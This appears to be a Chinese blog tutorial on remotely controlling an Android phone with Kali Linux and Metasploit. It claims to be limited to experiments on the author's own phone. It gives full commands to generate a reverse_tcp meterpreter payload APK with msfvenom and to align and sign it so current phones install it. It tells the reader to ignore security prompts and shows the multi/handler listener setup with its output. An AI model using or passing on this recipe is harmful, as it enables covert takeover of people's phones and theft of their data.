目标:使用Kali里的Metasploit远程控制自己的安卓手机
(先写个大体的流程,改天做成详细教程。仅限于对自己的手机做实验,请勿用于非法行为)
需要的知识板块::1,Metasploit (msfvenom+msfconsole)
2,apk签名验证
3,网络连接基础
实验环境:
对我自己
1,Kali 2020.3 (物理机Thinkpad X201)IP: 192.168.1.12
2,安卓手机(华为荣耀)IP: 192.168.1.19
3,网络连接(连接在同一个WIF下)
对于广大网友,大多数都是虚拟机安装的Kali,也是一样的。需要设置的是虚拟机网络设置成桥接模式,确保你的windows+虚拟机+安卓手机都在同一个网段。比如192.168.10.XXX。别扯什么桥接不安全什么的,你是个普通大众没人在意你,你的目的是要完成这个实验,是要理解整个过程的原理。
开始——————————————————————————————
一:生产apk安卓应用
1,使用msfvenom生成一个预设定向连接kali主机的apk安卓应用。
lhost=192.168.1.12 (这是Kali的IP)lport=4444 (默认4444,可以自定义)
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.12 lport=4444 R > t.apk
这样,一个很简单的带有payload(攻击载荷)的安卓应用就生成好了。ls -l看一下,在当前目录下有个t.apk文件。
root@kali:~# ls -l
总用量 68
drwxr-xr-x 2 root root 4096 11月 1 21:37 公共
drwxr-xr-x 2 root root 4096 11月 1 21:37 模板
drwxr-xr-x 2 root root 4096 11月 1 21:37 视频
drwxr-xr-x 2 root root 4096 11月 1 21:37 图片
drwxr-xr-x 2 root root 4096 11月 1 21:37 文档
drwxr-xr-x 2 root root 4096 11月 1 21:37 下载
drwxr-xr-x 2 root root 4096 11月 1 21:37 音乐
drwxr-xr-x 2 root root 4096 11月 1 21:37 桌面
-rw-r--r-- 1 root root 10187 11月 1 21:05 t.apk
很多同学看百度搜索到的教程都是到这里就直接丢到安卓手机里安卓了,然后就一值连不上。。。那是上古时期的教程了,咱们身边都没有这么老旧的手机。在这里,我们还要对t.apk文件进行优化对齐然后签名。
需要用到的软件有三个,zipalign, keytool , apksigner。
Kali 2020只默认安装了一个keytool,有些教程里提到jarsigner,实际上kali2020已经没有这个了,软件源里也没有,ap-get install jarsigner也会提示没有这个软件。这是apk应用V1签名需要的工具。我这里用apksigner的V2签名,V1和V2的签名流程不同,请勿生搬硬套。
这部分的知识想理解的,建议百度搜索zipalign
2,使用zipalign对apk进行对齐
zipalign -v 4 t.apk tz.apk
3,生成密钥对
生成密钥对:
keytool -genkey -v -keystore cg.keystore -alias cg -keyalg RSA -keysize 2048 -validity 10000
解释:
keytool -genkeypair -keystore 密钥库名 -alias 密钥别名 -validity 天数 -keyalg RSA
这里有个挺有意思的地方,有几个萌新都跌在这个坑里。最后问是否正确,按回车或者输入yes再回车,都不断的重复刚才的信息填入。(笑……)
请输入:y,然后回车。哈哈
4,对apk签名
签名:
apksigner sign --ks cg.keystore --ks-key-alias cg tz.apk
解释:
apksigner sign --ks 密钥库名 --ks-key-alias 密钥别名 tz.apk
5,对apk进行签名验证
apksigner verify -v --print-certs tz.apk
到这里,基本就可以了。最后生成的文件tz.apk就是我们要的安卓应用
root@kali:~# ls -l 总用量 68 drwxr-xr-x 2 root root 4096 11月 1 21:37 公共 drwxr-xr-x 2 root root 4096 11月 1 21:37 模板 drwxr-xr-x 2 root root 4096 11月 1 21:37 视频 drwxr-xr-x 2 root root 4096 11月 1 21:37 图片 drwxr-xr-x 2 root root 4096 11月 1 21:37 文档 drwxr-xr-x 2 root root 4096 11月 1 21:37 下载 drwxr-xr-x 2 root root 4096 11月 1 21:37 音乐 drwxr-xr-x 2 root root 4096 11月 1 21:37 桌面 -rw-r--r-- 1 root root 2527 11月 1 21:06 cg.keystore -rw-r--r-- 1 root root 10187 11月 1 21:05 t.apk -rwxrwxrwx 1 root root 16775 11月 1 21:10 tz.apk
已经完成了安卓手机的应用制作(木木)只要把它传到手机里安装就行。忽略所有的安全提示直接安装。
二,启动动msfconsole,设置payload监听
root@kali:~# msfconsole
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 192.168.1.12
lhost => 192.168.1.12
msf5 exploit(multi/handler) > exploit
[-] Handler failed to bind to 192.168.1.12:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
到这里,手机那边安装好tc.apk之后并打开,这边kali就自动连接上了。